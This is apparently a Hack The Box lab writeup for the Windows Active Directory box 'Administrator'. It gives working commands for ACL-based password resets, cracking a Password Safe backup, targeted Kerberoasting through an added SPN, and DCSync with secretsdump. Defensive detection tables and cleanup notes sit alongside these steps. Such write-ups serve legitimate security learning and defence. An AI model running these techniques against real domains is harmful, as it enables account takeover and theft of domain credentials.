Skip to content

HTB Administrator writeup

A technical writeup for educational purposes, covering only an authorized, isolated Hack The Box lab.

Administrator was a Windows AD box that combined several steps from the supplied starting credentials: following Active Directory ACLs, using a custom group as a clue to FTP access, obtaining a Password Safe V3 backup, targeted Kerberoasting through GenericWrite, and directory replication rights. The final result confirmed in the record was obtaining the Administrator NTLM hash and Kerberos keys through DCSync.

Along the way, I misread Emily’s right over Ethan as GenericAll and failed to reset his password. Rather than dismissing Access is denied as a tool error, I checked the BloodHound edge again. The actual right was GenericWrite, which does not include permission to reset a password without the old one. This failure prompted a change in approach to targeted Kerberoasting by modifying Ethan’s servicePrincipalName.

ItemValue
BoxAdministrator
PlatformHack The Box
OSWindows Server 2022 Build 20348 x64
DifficultyMedium
Olivia (initial credentials)
|
| GenericAll / change Michael's password
v
Michael
|
| ForceChangePassword / change Benjamin's password
v
Benjamin
|
| MemberOf / custom AD group
v
SHARE MODERATORS
|
| Investigate its relationship to FTP on TCP/21 (server-side authorization settings unconfirmed)
v
FTP
|
| Log in with Benjamin's credentials and obtain the Password Safe V3 backup
v
Emily's stored credentials
|
| GenericWrite / temporary SPN on Ethan's servicePrincipalName
v
Targeted Kerberoasting
|
| Offline analysis of the TGS
v
Valid credentials for Ethan
|
| DS-Replication-Get-Changes + DS-Replication-Get-Changes-All
v
DCSync (domain directory partition)
|
| Administrator NTLM hash / Kerberos keys
v
Administrator authentication material (obtained)

This diagram does not show “inherited permissions.” For example, Benjamin’s membership in SHARE MODERATORS did not automatically give him Emily’s rights or Ethan’s replication rights in AD.

In practice, the attacker connected several distinct mechanisms:

  1. Used Benjamin’s group membership as a clue to service access.
  2. Retrieved an encrypted backup over FTP.
  3. Decrypted the backup offline and obtained separate credentials for Emily.
  4. Used Emily’s AD ACL rights to change an attribute on Ethan.
  5. Analyzed a Kerberos TGS offline to obtain Ethan’s credentials.
  6. Used the domain replication rights delegated to Ethan.

A BloodHound graph visualizes control relationships within AD, but FTP, local files, password vaults, and offline cracking involve separate data flows. Evaluating the attack path requires following services and credential movement as well as graph edges.

The important factor was not simply that a weak password could be cracked at the end. The following distinct security boundaries formed a chain.

  • Service authorization through an AD group
  • File retrieval over FTP
  • Offline analysis of a credential vault
  • Attribute changes through AD object ACLs
  • Kerberos service ticket issuance
  • NTDS replication rights
ItemValue
HostnameDC
Domainadministrator.htb
DC FQDNdc.administrator.htb
Initial userOlivia
Initial password<INITIAL_PASSWORD>
user flagObtained; value redacted
Final resultObtained the Administrator NTLM hash and Kerberos keys through DCSync; values redacted

I ran service and OS detection across all TCP ports.

Terminal window
nmap -sS -A -p- --min-rate 10000 10.129.28.183

The goal was to identify possible entry points for AD, file shares, remote management, and file transfer at once, rather than search only for a web application. -sS normally requires root privileges or an equivalent capability; -p- covers all 65,535 TCP ports; and -A enables version, OS, default script, and traceroute detection.

The main results were as follows.

21/tcp open ftp Microsoft ftpd
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos
389/tcp open ldap administrator.htb
445/tcp open microsoft-ds
5985/tcp open http Microsoft HTTPAPI httpd 2.0
9389/tcp open mc-nmf .NET Message Framing
Host script results:
|_clock-skew: 6h59m59s

I inferred the following from them.

  • The combination of 88, 389, 445, and 9389 indicated an AD Domain Controller.
  • With 5985 open, WinRM could be checked after obtaining valid credentials.
  • The Microsoft FTP Service on 21 might be tied to authorization through AD accounts or Windows groups.
  • SMB signing was required, making SMB relay a low-priority main path.
  • clock-skew: 6h59m59s foreshadowed the later KRB_AP_ERR_SKEW. I should have checked clock synchronization before using Kerberos.

Nmap also reported retransmission cap hit, with 1,717 filtered ports. The enumeration provided enough leads, but did not guarantee completeness. A slower rescan, UDP scan, or checks of individual ports were alternatives if needed.

The target’s firewall, IDS, and VPN logs could show this scan as many TCP connections in a short period. It made no destructive change and required no cleanup, but in a production setting scan permission, bandwidth, and monitoring notifications would need to be coordinated first.

I checked whether the initial credentials worked over SMB. Subsequent Kerberos/RPC operations required dc.administrator.htb to resolve to 10.129.28.183.

Terminal window
nxc smb 10.129.28.183 \
-u Olivia -p '<INITIAL_PASSWORD>'
[+] administrator.htb\Olivia:<REDACTED>

I enumerated SMB shares and RIDs.

Terminal window
nxc smb 10.129.28.183 \
-u Olivia -p '<INITIAL_PASSWORD>' \
--shares --rid-brute

The main readable shares were IPC$, NETLOGON, and SYSVOL; no permission on the administrative shares ADMIN$ or C$ was shown. RID brute force identified Olivia, Michael, Benjamin, Emily, Ethan, Alexander, Emma, and the Share Moderators group.

I enumerated users and groups over LDAP.

Terminal window
nxc ldap 10.129.28.183 \
-u Olivia -p '<INITIAL_PASSWORD>' \
--users --group

Besides built-in accounts, the domain contained the following regular users.

olivia
michael
benjamin
emily
ethan
alexander
emma

I checked WinRM as well.

Terminal window
netexec winrm 10.129.28.183 \
-u Olivia -p '<INITIAL_PASSWORD>'
[+] administrator.htb\Olivia:<REDACTED> (Pwn3d!)

At this point, the starting account worked for SMB, LDAP, and WinRM, but could not access administrative shares. The next step was to inspect Olivia’s delegated rights over AD objects, rather than search for a local vulnerability.

Alternative enumeration tools include ldapsearch, PowerView, SharpHound, smbclient, and Impacket. The important point is to relate users, groups, computers, ACLs, sessions, and remote management permissions to the same principal ID, regardless of tool.

I collected AD objects and ACLs with RustHound-CE.

Terminal window
rusthound-ce \
-d administrator.htb \
-f dc.administrator.htb \
-u Olivia \
-p '<INITIAL_PASSWORD>' \
-c All \
--zip

The record reports analysis of 11 users, 61 groups, 1 computer, 1 OU, 1 domain, 2 GPOs, and other objects.

The important relationships on the path to the user flag were:

  • Olivia had GenericAll over Michael.
  • Michael had ForceChangePassword over Benjamin.
  • Benjamin was a member of SHARE MODERATORS.
  • Olivia and Michael could use WinRM.

I put this ACL into practice and reset Michael’s password with Olivia’s GenericAll.

Terminal window
bloodyad \
--host 10.129.28.183 \
-d administrator.htb \
-u Olivia \
-p '<INITIAL_PASSWORD>' \
set password Michael '<NEW_MICHAEL_PASSWORD>'
[+] Password changed successfully!

Next, I reset Benjamin’s password with Michael’s ForceChangePassword.

Terminal window
bloodyad \
--host 10.129.28.183 \
-d administrator.htb \
-u Michael \
-p '<NEW_MICHAEL_PASSWORD>' \
set password Benjamin '<NEW_BENJAMIN_PASSWORD>'
[+] Password changed successfully!

Neither operation discovered an existing password: the attacker changed each account to a new value. This could disrupt users’ logons or services and could be detected through Event ID 4724, account management auditing, LDAP/SAMR traffic, and command lines. Reverting without a lab reset would require the original passwords, which were not recorded.

My initial notes said that Emily had GenericAll over Ethan. After the password reset failed, I checked the edge again and found that it was actually GenericWrite.

The destination of Ethan’s GetChanges, GetChangesAll, and GetChangesInFilteredSet edges was not the individual Administrator user. It was the domain object for administrator.htb: the root of the domain Naming Context. This distinction matters for understanding DCSync.

When reviewing a BloodHound edge, check three things together:

  1. The edge name
  2. The source and destination object types
  3. Whether the ACE is direct, granted through a group, or inherited

If needed, Get-Acl AD:\..., PowerView’s Get-DomainObjectAcl, or an LDAP read of nTSecurityDescriptor can corroborate it. No such additional output was recorded here.

SHARE MODERATORS is a custom AD group on this box, not a standard group created automatically by Windows or IIS FTP.

The evidence is as follows.

  • SHARE MODERATORS does not appear in Microsoft’s list of default Active Directory security groups.
  • RID brute force enumerated Share Moderators as a SidTypeAlias with RID 1111.
  • LDAP showed it as CN=Share Moderators,CN=Users,DC=administrator,DC=htb, with Benjamin as a member.
  • Its name, RID, and purpose differ from well-known or default groups such as Administrators, Backup Operators, and Domain Admins.

I confirmed membership through LDAP.

Terminal window
ldapsearch -x \
-H ldap://dc.administrator.htb \
-D 'olivia@administrator.htb' \
-w '<INITIAL_PASSWORD>' \
-b 'DC=administrator,DC=htb' \
'(&(objectClass=group)(sAMAccountName=Share Moderators))' \
distinguishedName member description groupType
dn: CN=Share Moderators,CN=Users,DC=administrator,DC=htb
member: CN=Benjamin Brown,CN=Users,DC=administrator,DC=htb
groupType: -2147483644

An AD group contributes a SID to a member’s access token. A permission takes effect when the resource refers to that SID in its DACL or authorization rules.

SHARE MODERATORS SID
├─ FTP Authorization Rules
├─ NTFS ACL on the FTP root
├─ SMB share ACL
├─ Application RBAC
└─ Nested local or other group membership

The name SHARE MODERATORS does not itself include FTP read access. IIS FTP authorization rules can assign Read or Write to any role or user group named in roles. Access to the actual files must also pass the NTFS ACL, in addition to FTP authorization.

I did not inspect the server’s applicationHost.config, FTP Authorization Rules, or the NTFS ACL on the FTP root. Therefore,

Benjamin could log in to FTP because he belonged to SHARE MODERATORS.

The claim above is a reasonable inference, but it is unproven at the configuration level. Two facts are confirmed:

  • Benjamin was a member of SHARE MODERATORS.
  • Benjamin’s credentials worked for FTP login and retrieval of Backup.psafe3.

At the point where BloodHound showed group membership, the word SHARE alone did not establish whether it related to SMB, FTP, or a published web directory. The initial Nmap scan had already found Microsoft FTP Service on TCP/21. I connected these observations:

Known service: FTP
+
Custom group: SHARE MODERATORS
+
Group member: Benjamin

That made testing FTP as Benjamin worthwhile. This was a comparison of service enumeration with the AD authorization principal, rather than relying on the group’s name alone.

ftp Benjamin@administrator.htb
Password: <NEW_BENJAMIN_PASSWORD>
230 User logged in.
ftp> ls
Backup.psafe3
ftp> get Backup.psafe3

I retrieved the 952-byte Backup.psafe3. The record shows the transfer in ASCII mode and a warning about bare linefeeds.

WARNING! 3 bare linefeeds received in ASCII mode.
File may not have transferred correctly.

The copy was usable here because subsequent file and Password Safe analysis succeeded. For a binary download, however, the following should be set first when reproducing it.

ftp> binary
ftp> get Backup.psafe3

This is a recommended procedure; it was not run in the record.

lftp or curl are alternatives. Defenders could correlate FTP authentication logs, source address, RETR Backup.psafe3, bytes transferred, and file server object access auditing. Without FTP service logs or a file SACL, however, the filename might not be recorded.

Terminal window
file Backup.psafe3
Backup.psafe3: Password Safe V3 database

According to the Password Safe documentation, the database is encrypted with a key derived from its master password; the master password itself is not stored directly in the database. A backup is encrypted with the same master password as the original database.

I used pwsafe2john to convert it into a format John the Ripper could test.

Terminal window
pwsafe2john Backup.psafe3 > backup.hash

This backup.hash is not an AD user’s NTLM hash. It is data for testing candidate passwords offline to open the Password Safe database.

Terminal window
john --wordlist=/usr/share/wordlists/rockyou.txt backup.hash

The record shows successful recovery of the master password. I redact it as <PWSAFE_MASTER_PASSWORD>.

The first password was not a logon password

Section titled “The first password was not a logon password”

I initially tried this value against domain users, but it did not authenticate Emily, Ethan, Alexander, or Emma to AD.

This failure makes sense: what I had obtained was

the master password for decrypting Password Safe,

not

a new AD user's logon password.

I decrypted the vault with the master password.

Terminal window
psafe3dump \
Backup.psafe3 \
'<PWSAFE_MASTER_PASSWORD>'

The decrypted result contained the following three entries. All password values are redacted.

EntryStored usernameStored passwordAD/WinRM result
Alexander Smithalexander<ALEXANDER_STORED_PASSWORD>Failed
Emma Johnsonemma<EMMA_STORED_PASSWORD>Failed
Emily Rodriguezemily<EMILY_STORED_PASSWORD>Succeeded
TypeWhat it protects or authenticatesHow it was checked hereResult
Database master passwordDerives the key to decrypt all of Backup.psafe3john and psafe3dumpOpened the vault, but failed for AD logon
Password for each database entrySecrets stored by the vault user for Alexander, Emma, and EmilyDecrypted entriesThree obtained
Credentials currently valid in ADA secret accepted for that user by the current DCnxc winrm, and SMB if neededOnly Emily succeeded

Values stored in a vault are records from a point in time and may no longer work. Alexander’s and Emma’s failures could have several causes, including changed passwords, account state, logon rights, or restrictions on the target service. The record did not distinguish the WinRM failure causes further, so it does not establish that the passwords were simply wrong.

Emily’s combination did work over WinRM, turning a stored vault value into credentials confirmed as currently valid in AD.

Even when a credential vault is encrypted, stealing its file lets an attacker test master password candidates offline without server-side monitoring. Cracking one weak master password can expose several accounts in the vault at once.

If stored values are also usable for AD accounts, as they were here, the chain becomes:

Exfiltrate one shared file
→ Decrypt the entire vault
→ Obtain candidates for several users
→ Find valid AD credentials
→ Move laterally

Vault backups therefore need to be managed for storage location, readers, master password strength, MFA or hardware factors, the tier of stored accounts, and rotation status, not only whether they are encrypted.

The server normally cannot see john or psafe3dump running after Backup.psafe3 is retrieved. Visibility ends at the FTP exfiltration, so stopping it there matters. EDR on the attacking machine might see tool execution, hash files, and decrypted plaintext output.

I checked the extracted values against WinRM. The record tested combinations of decrypted candidates with --continue-on-success. The command below narrows the reproduction to Emily’s successful combination.

Terminal window
nxc winrm dc.administrator.htb \
-u emily \
-p '<EMILY_STORED_PASSWORD>'

--continue-on-success continues testing after one success. Trying many combinations can trigger account lockouts or monitoring alerts, so a production test should check the allowed attempt count, lockout policy, and known user-password relationships.

Only Emily’s stored credentials worked over WinRM in the record.

[+] administrator.htb\emily:<REDACTED> (Pwn3d!)

I connected over WinRM as Emily.

Terminal window
evil-winrm-py \
-i dc.administrator.htb \
-u emily \
-p '<EMILY_STORED_PASSWORD>'

C:\Users\emily\Desktop contained user.txt, which I read successfully. The flag value is redacted as [REDACTED].

The main points of visibility here are WinRM Operational logs, Windows Security 4624, WS-Man/HTTP traffic, PowerShell logs, and EDR process or script monitoring. Which events remain depends on the audit configuration.

I first read the BloodHound edge as Emily --GenericAll--> Ethan and thought I could reset Ethan’s password as I had done for Michael from Olivia.

I first tried it with bloodyAD.

Terminal window
bloodyad \
--host 10.129.28.183 \
-d administrator.htb \
-u emily \
-p '<EMILY_STORED_PASSWORD>' \
set password Ethan '<ATTEMPTED_ETHAN_PASSWORD>'
LDAPModifyException: Password can't be changed.
It may be because the oldpass provided is not valid.

This message alone could not determine whether the cause was insufficient rights, a protocol difference, password policy, or old-password handling. I therefore retried from Emily’s WinRM session with an Active Directory cmdlet and an explicit -Reset.

Terminal window
$newPassword = ConvertTo-SecureString `
'<ATTEMPTED_ETHAN_PASSWORD>' `
-AsPlainText -Force
Set-ADAccountPassword `
-Identity ethan `
-Reset `
-NewPassword $newPassword
Access is denied

When a different method was also denied, I revisited BloodHound and corrected the actual edge to GenericWrite. The two failed commands were useful evidence: when a hypothesis and observation disagree, recheck the ACL.

GenericAll, GenericWrite, ForceChangePassword, WriteDacl, and WriteOwner

Section titled “GenericAll, GenericWrite, ForceChangePassword, WriteDacl, and WriteOwner”

Based on Microsoft’s ActiveDirectoryRights and BloodHound edge definitions, the distinction is:

RightActual meaningRelationship to password resetTypical abuse
GenericAllBroad control of the target object, including attribute writes, extended rights, and DACL/owner changesFull control of a user normally permits a resetPassword reset, SPN change, Shadow Credentials, DACL change
GenericWriteWrite access to unprotected attributes and validated writesNormally does not include the User-Force-Change-Password extended rightChanges to permitted attributes such as servicePrincipalName
ForceChangePasswordUser-Force-Change-Password, displayed as Reset PasswordCan reset the target user’s password without the old passwordDelegated help desk action, account takeover
WriteDaclCan change the target’s DACLCan indirectly enable a reset by adding an ACE for GenericAll or ForceChangePasswordGrant an arbitrary ACE
WriteOwnerCan change the target’s ownerBecoming the owner can lead to a DACL change and addition of the needed rightOwner change → WriteDacl → GenericAll

Changing unicodePwd or resetting a password involves special access checks and protocol handling, not just an ordinary attribute overwrite. The User-Force-Change-Password extended right explicitly permits resetting a user’s password. It is therefore wrong to interpret GenericWrite as permission to change the password because it can “write anything.”

The relationships here were:

  • Olivia → Michael was GenericAll, so the password reset succeeded.
  • Michael → Benjamin was ForceChangePassword, so the password reset succeeded.
  • Emily → Ethan was GenericWrite, so the same operation returned Access is denied.
  • WriteDacl and WriteOwner are comparisons; they were not used on the recorded main path.

The failed attempt did not change Ethan’s password. PowerShell activity, LDAP connections, and EDR telemetry may still remain. Event ID 4724 records password reset attempts, but Microsoft’s specification does not guarantee a Failure 4724 for every reset denied with Access Denied. Detection should not rely solely on 4724.

Why GenericWrite can lead to Kerberoasting

Section titled “Why GenericWrite can lead to Kerberoasting”

BloodHound’s GenericWrite over a user object can indicate the ability to change unprotected attributes such as servicePrincipalName. Even without permission to reset Ethan’s password, adding an SPN could make Ethan a temporary Kerberoasting target.

In Kerberos, an SPN tells the KDC which AD account represents a service. An authenticated domain user can request a TGS for an SPN. A running service process is not required to issue the TGS; the KDC needs to resolve the SPN to an account in AD.

Under RFC 4120, the encrypted part of a service ticket is generally sealed with the service principal’s secret key. Assigning an SPN to a Windows AD user makes that user’s long-term key the service key.

The TGS obtained by the attacker has known structure and integrity information, allowing the following check to be repeated offline:

Candidate password
→ Derive the Kerberos long-term key
→ Verify the TGS encryption and checksum
→ Determine whether the candidate is correct

Because candidates are not sent to the DC one by one, this does not cause account lockouts, and the dictionary attack after the TGS request is not visible to the server. The format obtained here was $krb5tgs$23, Hashcat mode 13100, using RC4-HMAC etype 23.

ItemOrdinary KerberoastingTargeted Kerberoasting
TargetA service account that already has an SPNA user without an original SPN whose attributes the attacker can write
PrerequisitesValid domain authentication and a target SPNValid domain authentication and rights equivalent to WriteSPN/GenericWrite over the target
AD changeUsually noneTemporary addition and removal of an SPN
Detection pointsTGS requestSPN change, followed shortly by TGS request and SPN removal
Operational riskMore ticket requestsSPN collision, authentication disruption, missed cleanup

I first checked Ethan’s current value.

Terminal window
Get-ADUser ethan -Properties servicePrincipalName |
Select-Object -ExpandProperty servicePrincipalName

The recorded output was empty.

That does not mean all existing values should be overwritten. Another administrative change could occur between the read and addition. I used -Add for my own value rather than deleting every value with -Clear or -Replace.

Terminal window
Set-ADUser `
-Identity ethan `
-Add @{
servicePrincipalName = 'HTTP/ethan-temp.administrator.htb'
}

A new check showed the added value.

HTTP/ethan-temp.administrator.htb

SPNs must be unique because Kerberos uses them to resolve principals. Under Microsoft’s SPN uniqueness rules, a corresponding DC/functional level rejects an update with ERROR_DS_SPN_VALUE_NOT_UNIQUE_IN_FOREST if the same SPN belongs to another object in the forest. Duplicate SPNs can also disrupt authentication, so even a temporary value should be unlikely to collide.

The first TGS request failed because of clock skew

Section titled “The first TGS request failed because of clock skew”

I tried to save Kerberoasting material to ethan.hash with NetExec.

Terminal window
nxc ldap dc.administrator.htb \
-u emily \
-p '<EMILY_STORED_PASSWORD>' \
--kerberoasting ethan.hash

Here, ethan.hash is an output filename, not the target user selector. This run returned one roastable record, for Ethan, and the record says Total of records returned 1. The initial SPN was empty and Ethan appeared after the addition, supporting the conclusion that the added SPN caused this result.

The first attempt failed because of Kerberos clock skew.

KRB_AP_ERR_SKEW (Clock skew too great)

I stopped local automatic time synchronization and synchronized the clock with the target domain.

Terminal window
sudo systemctl stop systemd-timesyncd
sudo ntpdate administrator.htb

This moved the attacking machine’s clock forward by about seven hours, potentially affecting other log timestamps, the browser, certificate validation, and other sessions. Normal time synchronization should be restored afterward, but no restoration command was recorded.

After synchronizing the time, I reran the same NetExec command and obtained Ethan’s TGS material.

sAMAccountName: ethan
$krb5tgs$23$*ethan$ADMINISTRATOR.HTB$<REDACTED>

KRB_AP_ERR_SKEW identified a violated Kerberos prerequisite, so I fixed that cause and retried the same operation instead of switching tools merely because an error appeared.

Terminal window
hashcat ethan.hash /usr/share/wordlists/rockyou.txt

Hashcat automatically identified the format as 13100 | Kerberos 5, etype 23, TGS-REP and recovered Ethan’s password from the dictionary. I redact the value as <ETHAN_PASSWORD>.

Status: Cracked
Recovered: 1/1
Password: <REDACTED>

I verified over SMB that the credentials worked for AD.

Terminal window
nxc smb dc.administrator.htb \
-u ethan \
-p '<ETHAN_PASSWORD>'
[+] administrator.htb\ethan:<REDACTED>

This confirmed not just that a TGS candidate was found, but that the current AD accepted it as Ethan’s credentials.

Adding an SPN does not guarantee a password through targeted Kerberoasting. If the password is long and random, is an automatically managed high-entropy secret such as a gMSA password, or is absent from the dictionary, a TGS may be obtained while the offline search remains impractical.

The conditions are therefore:

Permission to write an SPN
× Ability to request a TGS
× Cryptographic material that can be checked offline
× Password strength within the search space

The design weakness here was not GenericWrite alone, but its combination with Ethan’s weak password.

Remove only the value that was added.

Terminal window
Set-ADUser `
-Identity ethan `
-Remove @{
servicePrincipalName = 'HTTP/ethan-temp.administrator.htb'
}
Get-ADUser ethan -Properties servicePrincipalName |
Select-Object -ExpandProperty servicePrincipalName

Using -Clear servicePrincipalName or -Replace on all values could delete legitimate service SPNs and cause disruption. Neither this removal nor its verification appears in the work record, so cleanup was not performed or not confirmed. It must be addressed if the box is not reset.

Alternative tools for requesting a TGS include Impacket GetUserSPNs.py -request-user ethan, PowerView Get-DomainSPNTicket, and Rubeus. They can inspect existing SPNs and request TGSs, but targeted Kerberoasting still requires adding an SPN separately through PowerShell or LDAP. The shared sequence is to add an SPN, request a TGS, analyze it offline, and remove only the SPN that was added.

BloodHound showed the following three edges from Ethan to the ADMINISTRATOR.HTB domain object. Raw output for the individual ACEs was not recorded, but the later successful DCSync through DRSUAPI supports that the necessary effective replication rights existed.

RightExtended Right GUIDMeaningRole here
DS-Replication-Get-Changes1131f6aa-9c07-11d1-f79f-00c04fc2dcd2Replicate changes to a directory partition (Naming Context)One of the rights typically required for DCSync
DS-Replication-Get-Changes-All1131f6ad-9c07-11d1-f79f-00c04fc2dcd2Replicate changes to domain data, including secret attributesCentral to obtaining password-derived data
DS-Replication-Get-Changes-In-Filtered-Set89e95b76-444d-4c62-991a-0facbeda640cReplicate attributes in the Filtered Attribute SetAn additional right related to RODC attribute filtering and similar cases

The target was not the individual Administrator user. The ACL was on the domain object representing the directory partition, allowing account data beneath it to be obtained through the replication API.

Calling all three rights “DCSync rights” obscures their different roles. GetChanges covers ordinary change replication in a Naming Context, while GetChangesAll relates to all changes including secrets. These two are central to the usual DCSync check. GetChangesInFilteredSet concerns the RODC Filtered Attribute Set and related data, but the record does not establish that DCSync worked only because this third right was also granted.

Microsoft’s schema documentation defines GetChanges, GetChangesAll, and GetChangesInFilteredSet as separate Extended Rights. RODC and Active Directory schema explains the relationship between the Filtered Attribute Set and RODCs.

A principal that can replicate domain credential data can reach authentication secrets for the entire domain, even without direct membership in Domain Admins. Ethan should therefore have been treated as effectively Tier 0: interactive logon destinations, credential strength, delegated ACLs, and monitoring needed protection comparable to Domain Admins.

More importantly, Emily could change Ethan’s SPN.

Emily --GenericWrite--> Ethan --GetChanges + GetChangesAll--> Domain

Emily lacked direct replication rights, but an Inbound Control Right let her compromise Ethan, so she too could reach Tier 0 through this attack path. Review not only accounts with powerful rights, but also every principal that can control those accounts.

DCSync does not interactively log on to a DC and open ntds.dit directly. It uses DRSUAPI / MS-DRSR, which DCs use to replicate NTDS changes, to request credential data from a DC as a principal authorized for replication.

The central remote call is IDL_DRSGetNCChanges, defined in Microsoft’s MS-DRSR specification. Conceptually, the flow is:

The result returns NTLM hashes and Kerberos AES/DES keys as replication data; it does not download the entire ntds.dit file. Detection therefore requires attention to network RPC and directory access auditing, not only local reads of the directory database.

With Ethan’s valid credentials, I limited the request to the Administrator account.

Terminal window
secretsdump.py \
-just-dc-user Administrator \
'administrator.htb/ethan:<ETHAN_PASSWORD>@dc.administrator.htb'

The prerequisites were successful authentication as Ethan, name resolution and RPC connectivity to the DC, and effective replication rights on the domain object. The record includes Using the DRSUAPI method to get NTDS.DIT secrets and output containing the Administrator NTLM hash and Kerberos keys. I redact all values as <REDACTED>.

[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:<REDACTED>:<REDACTED>:::
Administrator:aes256-cts-hmac-sha1-96:<REDACTED>
Administrator:aes128-cts-hmac-sha1-96:<REDACTED>

-just-dc-user Administrator requests only the target user, reducing output and exposure compared with -just-dc for the whole domain. It remains a high-risk DCSync operation, however, and limiting the target does not weaken the underlying replication rights.

Common causes of failure include missing GetChanges / GetChangesAll rights, wrong credentials, DNS/RPC/SMB connectivity, time or Kerberos issues, and blocking by protection or monitoring tools on the DC. The operation normally does not change AD objects, but the acquired hashes and keys are sensitive secrets that need secure storage and deletion after the exercise.

Alternatives include Mimikatz lsadump::dcsync and NetExec’s DCSync function. Creating a Volume Shadow Copy on the DC to retrieve ntds.dit and the SYSTEM hive obtains credentials by a different mechanism, with different required rights and traces.

The final operation confirmed in the work record was DCSync obtaining the Administrator NTLM hash and Kerberos keys. These are material for authenticating as Administrator; this writeup treats the successful DCSync as the confirmation point for reaching Administrator.

The secretsdump.py output included an NTLM hash, AES256/AES128 keys, and a DES key. The values and flag are not reproduced here; all are treated as <REDACTED>. Authentication over another protocol after DCSync was not necessary to establish this attack path, so I do not add an unrecorded operation to it.

StagePossible evidenceInterpretation and caveats
Initial enumerationFTP/LDAP/SMB/WinRM connections and many Nmap SYN packetsCorrelate source, time, and operator to exclude authorized scanners and administration tools
FTPFTP login, listing, file download, and transfer sizeDistinguish retrieval of the Password Safe backup from normal transfers; record filename, size, and user
Password changes4724 (reset attempt), LDAP/SAMR operationsOlivia→Michael and Michael→Benjamin were delegated changes that did not need the users’ old passwords
SPN change5136 (servicePrincipalName attribute change)A new unknown SPN appearing and being removed shortly afterward is a strong correlated signal
TGS requestEvent 4769 Service Name (HTTP/ethan-temp.administrator.htb) and Ticket Encryption TypeCorrelate RC4/etype 23 requests just after SPN creation, unusual source hosts, and rapid repetitions
DCSync4662 (with a suitable SACL), DRSUAPI/RPC, and requests from non-DC hostsMonitor requests from ordinary users without GetChanges/GetChangesAll, the source host, and target account
Tool executionPowerShell, LDAP, SMB, RPC, Impacket/NetExec processes or EDR trafficLegitimate identity management and backup products may make similar LDAP/replication requests, so a baseline is needed

Events 5136 and 4662 require Directory Service Changes/Access auditing and an appropriate SACL on the target object. Event 4769 requires Kerberos Service Ticket Operations auditing, but not a SACL on the target AD object. Absence of any of these events does not prove the operation did not occur. Complement them with network monitoring for plaintext FTP authentication, vault downloads, and RPC from non-DC hosts.

The essence of this box was not cracking a single weak password; several design weaknesses formed a chain.

  • The relationship between the custom SHARE MODERATORS group and FTP access had not been reviewed in terms of what members could actually read. The record does not show which FTP/NTFS setting referred to the SID.
  • A Password Safe V3 backup was placed in an area accessible over FTP.
  • Emily’s stored value in the vault worked as AD credentials. The stored Alexander and Emma values failed WinRM authentication and were not confirmed valid in AD. The vault master password, each entry password, and valid AD credentials are distinct.
  • A regular user like Emily could change attributes on Ethan, who had DCSync rights.
  • Ethan had domain replication rights and was effectively Tier 0, yet could be compromised through a path available to an ordinary user.
  • Inbound Control Rights over a Tier 0 principal, meaning who could change that principal, had not been reviewed in reverse.
  • SPN write permission combined with a weak password that could be searched offline.

Emily did not have DCSync rights directly. But her GenericWrite over Ethan made Tier 0 reachable to her through this path. A rights inventory must include all inbound edges leading to a highly privileged principal, not only members of high-privilege groups.

BloodHound edgeActual meaningTypical operationUse here
GenericWriteWrite access to some attributesSPN or attribute changesAdded a temporary SPN to Ethan
GenericAllBroad control of the targetPassword reset and similar operationsOlivia→Michael; mistakenly inferred for Emily→Ethan
ForceChangePasswordReset without the old passwordPassword changeMichael→Benjamin
WriteDaclChange the DACLGrant rights to oneselfNot used on the main path
WriteOwnerChange ownershipReset the ACL after becoming ownerNot used on the main path
GetChangesReplicate ordinary directory changesPart of DCSyncHeld by Ethan
GetChangesAllReplicate changes including secret attributesCore of DCSyncHeld by Ethan
GetChangesInFilteredSetReplicate the Filtered Attribute SetRODC-related and similar casesAlso held by Ethan
CommandPurpose and prerequisitesConfirmation of successTypical failure causes, side effects, and cleanup
nmap -sS -A -p- --min-rate 10000 <IP>Enumerate all TCP ports and services; SYN scan privileges required21/53/88/389/445/5985 and othersRate-related omissions and IDS detection; no state change
nxc smb <IP> -u Olivia -p '<password>' --shares --rid-bruteEnumerate shares and RIDs with initial credentialsadministrator.htb\\Olivia and users/groupsAuthentication failure or SMB connectivity; no state change
nxc ldap <IP> -u Olivia -p '<password>' --users --groupEnumerate LDAP users and groups10 users and the custom groupLDAP signing/channel binding restrictions; no state change
rusthound-ce ... -c All --zipCollect ACLs and relationships for BloodHoundUsers/groups/computers collectedInsufficient rights or EDR detection; remove generated files afterward
bloodyad ... set password Michael ...Reset through GenericAllPassword changed successfully!Wrong edge or LDAP ACL; restoration needs checking if old password is unknown
bloodyad ... set password Benjamin ...Verify ForceChangePasswordSame as aboveInsufficient rights; discard or rotate the set value
ftp <host> / get <backup>Retrieve the backup with Benjamin’s credentials; the configuration-level causal link between group membership and FTP authorization is unconfirmedPassword Safe V3 fileFTP authorization/NTFS ACL or plaintext transfer; securely delete the copy
Password Safe V3 decryptionOpen the vault with its master passwordAlexander/Emma/Emily entriesThe master password is not a logon credential; erase decrypted data
Set-ADUser ethan -Add @{servicePrincipalName = ...}Add a temporary SPN with GenericWrite from Emily’s WinRM sessionAttribute appearsSPN collision or missing ACL; remove only the added value
GetUserSPNs.py ... -request-user ethan / nxc ldap ... --kerberoastingRequest a TGS for Ethan$krb5tgs$23$...Clock skew, missing SPN, or Kerberos connectivity; TGS is secret material
sudo systemctl stop systemd-timesyncd; sudo ntpdate administrator.htbResolve KRB_AP_ERR_SKEWTGS request succeedsChanges the attacking machine’s clock; affects other work, so restore synchronization afterward
hashcat ethan.hash /usr/share/wordlists/rockyou.txtCheck the TGS offlineStatus: CrackedStrong or absent-from-dictionary password; erase the hash file
secretsdump.py -just-dc-user Administrator ...Targeted DCSync with Ethan’s replication rightsAdministrator NTLM/AES materialDRSUAPI/RPC, rights/DNS/time deficiencies; securely discard obtained secrets

This is neither a standard Windows group nor a group whose name alone grants FTP access. BloodHound membership and the Nmap FTP finding needed to be connected, while the service’s authorization references needed verification.

The attempt to reset Ethan’s password directly returned Access is denied. Rather than wrong credentials, this pointed to a misread BloodHound edge. I used GenericWrite to change the SPN attribute instead.

The first TGS request returned KRB_AP_ERR_SKEW. I corrected the approximately seven-hour skew and retried the same operation instead of changing tools. Because changing the clock affects the whole machine, restoration afterward should be recorded.

  • Password changes for Olivia→Michael and Michael→Benjamin: the original values were not recorded. A box reset or safe rotation by an administrator is needed.
  • Ethan’s servicePrincipalName: remove only the added HTTP/ethan-temp.administrator.htb. Do not use -Clear on every SPN, which could break legitimate services. No removal or verification result was recorded.
